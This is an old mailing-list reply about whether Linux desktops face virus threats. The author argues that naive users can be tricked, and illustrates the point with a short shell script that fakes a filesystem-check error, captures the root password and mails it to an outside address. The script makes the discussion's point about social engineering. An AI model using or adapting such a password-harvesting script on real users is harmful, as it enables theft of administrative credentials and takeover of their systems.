On Thu, 4 Jul 2002, Jerald Sheets wrote: > I would beg to differ just a smidge. I freaking care a lot! I'm an AIX > admin, have a Linux desktop at the office, and would totally freak if my > install needed a full reload. Granted, through many years of dealing > with the M$ paradigm, I have modularized a lot of what I have & do.
I didn't say a full reload wouldn't be a pain in the ass. :) It may take a few hours (days?) to set everything up again. My point is, all that stuff is replaceable. Losing the data that is NOT replaceable is what you should freak about. > only my personal address book is in danger. I put my personal stuff in > an accessible (though not changeable) location for just the reasons you > mention. MP3's in /usr/local/MP3. Documents in /usr/local/docs. Etc. > etc. The good unix virus will just search then entire system looking for things to trash, cause you know sometimes chmod -R 777 / "fixes" the permission problem. So your point about /usr/local becomes moot. Better yet, i'll just ask you for root: echo "/home: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY " echo "*** An error occurred during the filesystem check." echo "*** Dropping you to a shell; the system will reboot" echo "*** when you leave the shell." echo "Give root password for maintenance " echo -n "(or type Control-D for normal startup): " stty -echo read PASS stty echo echo "Pass is $PASS" | mail -spass [EMAIL PROTECTED] echo "Check complete." Chances are if you fell for running it in the first place, you'll happily type the root password. You and i know better. My Windows friend who is trying to install Mandrake but doesn't know what an "ISO" is doesn't know better. And that is the problem. > Good system policy can thwart all your efforts to ravage my $HOME. > After all, if all the items you are targeting aren't in my $HOME, then > your point is moot. Good system policy would thwart all efforts of all computer virus, regardless of the OS. You can probably run a Windows machine WITHOUT anti-virus software and not get a virus. So can i. Obviously, some people can't. Just because they can fumble through a linux install doesn't mean they know a damn thing about good system policy. This is where i hope all the LUGs around the world can help. > Again, I don't think "mom and pop" are the target. I think the evil > empire is. We shall see. "Evil empire" is relative. Ask the UnitedLinux supporters who the evil empire is. :) I love nothing more to hear on the news that the latest virus only affects Windows/Outlook users, or the latest worm can only attack IIS or Exchange servers. But i still think the target is anyone that will help spread the virus, regardless of which evil empire sold the OS. As the mass migrations to Linux desktops become more prevalent, we'll certainly shall see. -Ray -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Ray DeJean http://www.r-a-y.org Systems Engineer Southeastern Louisiana University IBM Certified Specialist AIX Administration, AIX Support =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
